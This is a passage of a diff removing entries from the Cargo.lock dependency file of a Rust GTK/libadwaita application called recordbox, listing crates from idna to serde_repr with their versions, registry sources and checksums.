-]
-
-[[package]]
-name = "idna"
-version = "1.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "686f825264d630750a544639377bae737628043f20d38bbc029e8f29ea968a7e"
-dependencies = [
- "idna_adapter",
- "smallvec",
- "utf8_iter",
-]
-
-[[package]]
-name = "idna_adapter"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "daca1df1c957320b2cf139ac61e7bd64fed304c5040df000a745aa1de3b4ef71"
-dependencies = [
- "icu_normalizer",
- "icu_properties",
-]
-
-[[package]]
-name = "indexmap"
-version = "2.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3954d50fe15b02142bf25d3b8bdadb634ec3948f103d04ffe3031bc8fe9d7058"
-dependencies = [
- "equivalent",
- "hashbrown 0.15.2",
-]
-
-[[package]]
-name = "inotify"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f37dccff2791ab604f9babef0ba14fbe0be30bd368dc541e2b08d07c8aa908f3"
-dependencies = [
- "bitflags 2.9.0",
- "inotify-sys",
- "libc",
-]
-
-[[package]]
-name = "inotify-sys"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e05c02b5e89bff3b946cedeca278abc628fe811e604f027c45a8aa3cf793d0eb"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "itertools"
-version = "0.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186"
-dependencies = [
- "either",
-]
-
-[[package]]
-name = "itoa"
-version = "1.0.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
-
-[[package]]
-name = "js-sys"
-version = "0.3.77"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f"
-dependencies = [
- "once_cell",
- "wasm-bindgen",
-]
-
-[[package]]
-name = "json"
-version = "0.12.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "078e285eafdfb6c4b434e0d31e8cfcb5115b651496faca5749b88fafd4f23bfd"
-
-[[package]]
-name = "kqueue"
-version = "1.0.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7447f1ca1b7b563588a205fe93dea8df60fd981423a768bc1c0ded35ed147d0c"
-dependencies = [
- "kqueue-sys",
- "libc",
-]
-
-[[package]]
-name = "kqueue-sys"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed9625ffda8729b85e45cf04090035ac368927b8cebc34898e7c120f52e4838b"
-dependencies = [
- "bitflags 1.3.2",
- "libc",
-]
-
-[[package]]
-name = "kv-log-macro"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0de8b303297635ad57c9f5059fd9cee7a47f8e8daa09df0fcd07dd39fb22977f"
-dependencies = [
- "log",
-]
-
-[[package]]
-name = "lazy_static"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
-
-[[package]]
-name = "libadwaita"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8611ee9fb85e7606c362b513afcaf5b59853f79e4d98caaaf581d99465014247"
-dependencies = [
- "gdk4",
- "gio",
- "glib",
- "gtk4",
- "libadwaita-sys",
- "libc",
- "pango",
-]
-
-[[package]]
-name = "libadwaita-sys"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b099a223560118d4d4fa04b6d23f3ea5b7171fe1d83dfb7e6b45b54cdfc83af9"
-dependencies = [
- "gdk4-sys",
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "gtk4-sys",
- "libc",
- "pango-sys",
- "system-deps",
-]
-
-[[package]]
-name = "libc"
-version = "0.2.171"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c19937216e9d3aa9956d9bb8dfc0b0c8beb6058fc4f7a4dc4d850edf86a237d6"
-
-[[package]]
-name = "libredox"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c0ff37bd590ca25063e35af745c343cb7a0271906fb7b37e4813e8f79f00268d"
-dependencies = [
- "bitflags 2.9.0",
- "libc",
- "redox_syscall",
-]
-
-[[package]]
-name = "libsqlite3-sys"
-version = "0.30.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2e99fb7a497b1e3339bc746195567ed8d3e24945ecd636e3619d20b9de9e9149"
-dependencies = [
- "pkg-config",
- "vcpkg",
-]
-
-[[package]]
-name = "linux-raw-sys"
-version = "0.4.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab"
-
-[[package]]
-name = "linux-raw-sys"
-version = "0.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fe7db12097d22ec582439daf8618b8fdd1a7bef6270e9af3b1ebcd30893cf413"
-
-[[package]]
-name = "litemap"
-version = "0.7.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "23fb14cb19457329c82206317a5663005a4d404783dc74f4252769b0d5f42856"
-
-[[package]]
-name = "locale_config"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08d2c35b16f4483f6c26f0e4e9550717a2f6575bcd6f12a53ff0c490a94a6934"
-dependencies = [
- "lazy_static",
- "objc",
- "objc-foundation",
- "regex",
- "winapi",
-]
-
-[[package]]
-name = "lock_api"
-version = "0.4.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17"
-dependencies = [
- "autocfg",
- "scopeguard",
-]
-
-[[package]]
-name = "lofty"
-version = "0.22.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "781de624f162b1a8cbfbd577103ee9b8e5f62854b053ff48f4e31e68a0a7df6f"
-dependencies = [
- "byteorder",
- "data-encoding",
- "flate2",
- "lofty_attr",
- "log",
- "ogg_pager",
- "paste",
-]
-
-[[package]]
-name = "lofty_attr"
-version = "0.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed9983e64b2358522f745c1251924e3ab7252d55637e80f6a0a3de642d6a9efc"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "log"
-version = "0.4.26"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "30bde2b3dc3671ae49d8e2e9f044c7c005836e7a023ee57cffa25ab82764bb9e"
-dependencies = [
- "value-bag",
-]
-
-[[package]]
-name = "loom"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "419e0dc8046cb947daa77eb95ae174acfbddb7673b4151f56d1eed8e93fbfaca"
-dependencies = [
- "cfg-if",
- "generator",
- "scoped-tls",
- "tracing",
- "tracing-subscriber",
-]
-
-[[package]]
-name = "malloc_buf"
-version = "0.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "matchers"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558"
-dependencies = [
- "regex-automata 0.1.10",
-]
-
-[[package]]
-name = "memchr"
-version = "2.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
-
-[[package]]
-name = "memmap2"
-version = "0.5.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "83faa42c0a078c393f6b29d5db232d8be22776a891f8f56e5284faee4a20b327"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "memoffset"
-version = "0.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "miette"
-version = "5.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "59bb584eaeeab6bd0226ccf3509a69d7936d148cf3d036ad350abe35e8c6856e"
-dependencies = [
- "miette-derive",
- "once_cell",
- "thiserror 1.0.69",
- "unicode-width",
-]
-
-[[package]]
-name = "miette-derive"
-version = "5.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49e7bc1560b95a3c4a25d03de42fe76ca718ab92d1a22a55b9b4cf67b3ae635c"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "mime"
-version = "0.3.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
-
-[[package]]
-name = "mime_guess"
-version = "2.0.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e"
-dependencies = [
- "mime",
- "unicase",
-]
-
-[[package]]
-name = "miniz_oxide"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e3e04debbb59698c15bacbb6d93584a8c0ca9cc3213cb423d31f760d8843ce5"
-dependencies = [
- "adler2",
-]
-
-[[package]]
-name = "mio"
-version = "1.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2886843bf800fba2e3377cff24abf6379b4c4d5c6681eaf9ea5b0d15090450bd"
-dependencies = [
- "libc",
- "log",
- "wasi 0.11.0+wasi-snapshot-preview1",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "moka"
-version = "0.12.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9321642ca94a4282428e6ea4af8cc2ca4eac48ac7a6a4ea8f33f76d0ce70926"
-dependencies = [
- "async-lock",
- "crossbeam-channel",
- "crossbeam-epoch",
- "crossbeam-utils",
- "event-listener 5.4.0",
- "futures-util",
- "loom",
- "parking_lot",
- "portable-atomic",
- "rustc_version",
- "smallvec",
- "tagptr",
- "thiserror 1.0.69",
- "uuid",
-]
-
-[[package]]
-name = "mpris-server"
-version = "0.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "058bc2227727af394f34aa51da3e36aeecf2c808f39315d35f754872660750ae"
-dependencies = [
- "async-channel 2.3.1",
- "futures-channel",
- "serde",
- "trait-variant",
- "zbus 4.4.0",
-]
-
-[[package]]
-name = "muldiv"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "956787520e75e9bd233246045d19f42fb73242759cc57fba9611d940ae96d4b0"
-
-[[package]]
-name = "nix"
-version = "0.29.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46"
-dependencies = [
- "bitflags 2.9.0",
- "cfg-if",
- "cfg_aliases",
- "libc",
- "memoffset",
-]
-
-[[package]]
-name = "notify"
-version = "8.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2fee8403b3d66ac7b26aee6e40a897d85dc5ce26f44da36b8b73e987cc52e943"
-dependencies = [
- "bitflags 2.9.0",
- "filetime",
- "fsevent-sys",
- "inotify",
- "kqueue",
- "libc",
- "log",
- "mio",
- "notify-types",
- "walkdir",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "notify-debouncer-full"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d2d88b1a7538054351c8258338df7c931a590513fb3745e8c15eb9ff4199b8d1"
-dependencies = [
- "file-id",
- "log",
- "notify",
- "notify-types",
- "walkdir",
-]
-
-[[package]]
-name = "notify-types"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5e0826a989adedc2a244799e823aece04662b66609d96af8dff7ac6df9a8925d"
-
-[[package]]
-name = "nu-ansi-term"
-version = "0.46.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84"
-dependencies = [
- "overload",
- "winapi",
-]
-
-[[package]]
-name = "nu-ansi-term"
-version = "0.50.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d4a28e057d01f97e61255210fcff094d74ed0466038633e95017f5beb68e4399"
-dependencies = [
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "num-integer"
-version = "0.1.46"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "num-rational"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f83d14da390562dca69fc84082e73e548e1ad308d24accdedd2720017cb37824"
-dependencies = [
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-traits"
-version = "0.2.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "objc"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1"
-dependencies = [
- "malloc_buf",
-]
-
-[[package]]
-name = "objc-foundation"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1add1b659e36c9607c7aab864a76c7a4c2760cd0cd2e120f3fb8b952c7e22bf9"
-dependencies = [
- "block",
- "objc",
- "objc_id",
-]
-
-[[package]]
-name = "objc_id"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c92d4ddb4bd7b50d730c215ff871754d0da6b2178849f8a2a2ab69712d0c073b"
-dependencies = [
- "objc",
-]
-
-[[package]]
-name = "ogg_pager"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e034c10fb5c1c012c1b327b85df89fb0ef98ae66ec28af30f0d1eed804a40c19"
-dependencies = [
- "byteorder",
-]
-
-[[package]]
-name = "once_cell"
-version = "1.21.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d75b0bedcc4fe52caa0e03d9f1151a323e4aa5e2d78ba3580400cd3c9e2bc4bc"
-
-[[package]]
-name = "option-operations"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7c26d27bb1aeab65138e4bf7666045169d1717febcc9ff870166be8348b223d0"
-dependencies = [
- "paste",
-]
-
-[[package]]
-name = "ordered-stream"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9aa2b01e1d916879f73a53d01d1d6cee68adbb31d6d9177a8cfce093cced1d50"
-dependencies = [
- "futures-core",
- "pin-project-lite",
-]
-
-[[package]]
-name = "overload"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39"
-
-[[package]]
-name = "pango"
-version = "0.20.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6b1f5dc1b8cf9bc08bfc0843a04ee0fa2e78f1e1fa4b126844a383af4f25f0ec"
-dependencies = [
- "gio",
- "glib",
- "libc",
- "pango-sys",
-]
-
-[[package]]
-name = "pango-sys"
-version = "0.20.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0dbb9b751673bd8fe49eb78620547973a1e719ed431372122b20abd12445bab5"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps",
-]
-
-[[package]]
-name = "parking"
-version = "2.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba"
-
-[[package]]
-name = "parking_lot"
-version = "0.12.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1bf18183cf54e8d6059647fc3063646a1801cf30896933ec2311622cc4b9a27"
-dependencies = [
- "lock_api",
- "parking_lot_core",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.9.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8"
-dependencies = [
- "cfg-if",
- "libc",
- "redox_syscall",
- "smallvec",
- "windows-targets",
-]
-
-[[package]]
-name = "paste"
-version = "1.0.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a"
-
-[[package]]
-name = "percent-encoding"
-version = "2.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
-
-[[package]]
-name = "pin-project-lite"
-version = "0.2.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b"
-
-[[package]]
-name = "pin-utils"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
-
-[[package]]
-name = "piper"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96c8c490f422ef9a4efd2cb5b42b76c8613d7e7dfc1caf667b8a3350a5acc066"
-dependencies = [
- "atomic-waker",
- "fastrand",
- "futures-io",
-]
-
-[[package]]
-name = "pkg-config"
-version = "0.3.32"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c"
-
-[[package]]
-name = "polling"
-version = "3.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a604568c3202727d1507653cb121dbd627a58684eb09a820fd746bee38b4442f"
-dependencies = [
- "cfg-if",
- "concurrent-queue",
- "hermit-abi",
- "pin-project-lite",
- "rustix 0.38.44",
- "tracing",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "portable-atomic"
-version = "1.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "350e9b48cbc6b0e028b0473b114454c6316e57336ee184ceab6e53f72c178b3e"
-
-[[package]]
-name = "ppv-lite86"
-version = "0.2.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
-dependencies = [
- "zerocopy 0.8.23",
-]
-
-[[package]]
-name = "proc-macro-crate"
-version = "3.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "edce586971a4dfaa28950c6f18ed55e0406c1ab88bbce2c6f6293a7aaba73d35"
-dependencies = [
- "toml_edit",
-]
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.94"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a31971752e70b8b2686d7e46ec17fb38dad4051d94024c88df49b667caea9c84"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "quote"
-version = "1.0.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d"
-dependencies = [
- "proc-macro2",
-]
-
-[[package]]
-name = "r2d2"
-version = "0.8.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "51de85fb3fb6524929c8a2eb85e6b6d363de4e8c48f9e2c2eac4944abc181c93"
-dependencies = [
- "log",
- "parking_lot",
- "scheduled-thread-pool",
-]
-
-[[package]]
-name = "r2d2_sqlite"
-version = "0.25.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eb14dba8247a6a15b7fdbc7d389e2e6f03ee9f184f87117706d509c092dfe846"
-dependencies = [
- "r2d2",
- "rusqlite",
- "uuid",
-]
-
-[[package]]
-name = "rand"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
-dependencies = [
- "libc",
- "rand_chacha 0.3.1",
- "rand_core 0.6.4",
-]
-
-[[package]]
-name = "rand"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3779b94aeb87e8bd4e834cee3650289ee9e0d5677f976ecdb6d219e5f4f6cd94"
-dependencies = [
- "rand_chacha 0.9.0",
- "rand_core 0.9.3",
- "zerocopy 0.8.23",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
-dependencies = [
- "ppv-lite86",
- "rand_core 0.6.4",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb"
-dependencies = [
- "ppv-lite86",
- "rand_core 0.9.3",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.6.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
-dependencies = [
- "getrandom 0.2.15",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "99d9a13982dcf210057a8a78572b2217b667c3beacbf3a0d8b454f6f82837d38"
-dependencies = [
- "getrandom 0.3.1",
-]
-
-[[package]]
-name = "recordbox"
-version = "0.9.3"
-dependencies = [
- "ashpd",
- "async-channel 2.3.1",
- "async-lock",
- "cacache",
- "color-thief",
- "common-path",
- "flexi_logger",
- "futures",
- "fuzzy-matcher",
- "gettext-rs",
- "gstreamer",
- "gstreamer-audio",
- "gstreamer-base",
- "gstreamer-play",
- "gtk4",
- "json",
- "lazy_static",
- "libadwaita",
- "lofty",
- "log",
- "mime_guess",
- "moka",
- "mpris-server",
- "notify-debouncer-full",
- "r2d2",
- "r2d2_sqlite",
- "rand 0.8.5",
- "rusqlite",
- "rusqlite_migration",
- "search-provider",
- "strum",
- "strum_macros",
- "tr",
- "urlencoding",
- "uuid",
- "walkdir",
-]
-
-[[package]]
-name = "redox_syscall"
-version = "0.5.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b8c0c260b63a8219631167be35e6a988e9554dbd323f8bd08439c8ed1302bd1"
-dependencies = [
- "bitflags 2.9.0",
-]
-
-[[package]]
-name = "reflink-copy"
-version = "0.1.25"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4b86038e146b9a61557e1a2e58cdf2eddc0b46ce141b55541b1c1b9f3189d618"
-dependencies = [
- "cfg-if",
- "libc",
- "rustix 1.0.2",
- "windows 0.60.0",
-]
-
-[[package]]
-name = "regex"
-version = "1.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-automata 0.4.9",
- "regex-syntax 0.8.5",
-]
-
-[[package]]
-name = "regex-automata"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132"
-dependencies = [
- "regex-syntax 0.6.29",
-]
-
-[[package]]
-name = "regex-automata"
-version = "0.4.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-syntax 0.8.5",
-]
-
-[[package]]
-name = "regex-syntax"
-version = "0.6.29"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1"
-
-[[package]]
-name = "regex-syntax"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c"
-
-[[package]]
-name = "rgb"
-version = "0.8.50"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57397d16646700483b67d2dd6511d79318f9d057fdbd21a4066aeac8b41d310a"
-dependencies = [
- "bytemuck",
-]
-
-[[package]]
-name = "rusqlite"
-version = "0.32.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7753b721174eb8ff87a9a0e799e2d7bc3749323e773db92e0984debb00019d6e"
-dependencies = [
- "bitflags 2.9.0",
- "fallible-iterator",
- "fallible-streaming-iterator",
- "hashlink",
- "libsqlite3-sys",
- "smallvec",
-]
-
-[[package]]
-name = "rusqlite_migration"
-version = "1.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "923b42e802f7dc20a0a6b5e097ba7c83fe4289da07e49156fecf6af08aa9cd1c"
-dependencies = [
- "log",
- "rusqlite",
-]
-
-[[package]]
-name = "rustc_version"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92"
-dependencies = [
- "semver",
-]
-
-[[package]]
-name = "rustix"
-version = "0.38.44"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154"
-dependencies = [
- "bitflags 2.9.0",
- "errno",
- "libc",
- "linux-raw-sys 0.4.15",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "rustix"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7178faa4b75a30e269c71e61c353ce2748cf3d76f0c44c393f4e60abf49b825"
-dependencies = [
- "bitflags 2.9.0",
- "errno",
- "libc",
- "linux-raw-sys 0.9.3",
- "windows-sys 0.59.0",
-]
-
-[[package]]
-name = "rustversion"
-version = "1.0.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eded382c5f5f786b989652c49544c4877d9f015cc22e145a5ea8ea66c2921cd2"
-
-[[package]]
-name = "ryu"
-version = "1.0.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f"
-
-[[package]]
-name = "same-file"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "scheduled-thread-pool"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3cbc66816425a074528352f5789333ecff06ca41b36b0b0efdfbb29edc391a19"
-dependencies = [
- "parking_lot",
-]
-
-[[package]]
-name = "scoped-tls"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294"
-
-[[package]]
-name = "scopeguard"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
-
-[[package]]
-name = "search-provider"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8de586207b4f0b88883d27791ea2e8663900fdc78bffb36660bd1eb79f129ba"
-dependencies = [
- "futures-channel",
- "futures-util",
- "serde",
- "zbus 4.4.0",
-]
-
-[[package]]
-name = "semver"
-version = "1.0.26"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0"
-
-[[package]]
-name = "serde"
-version = "1.0.219"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.219"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "serde_json"
-version = "1.0.140"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373"
-dependencies = [
- "itoa",
- "memchr",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "serde_repr"
-version = "0.1.20"
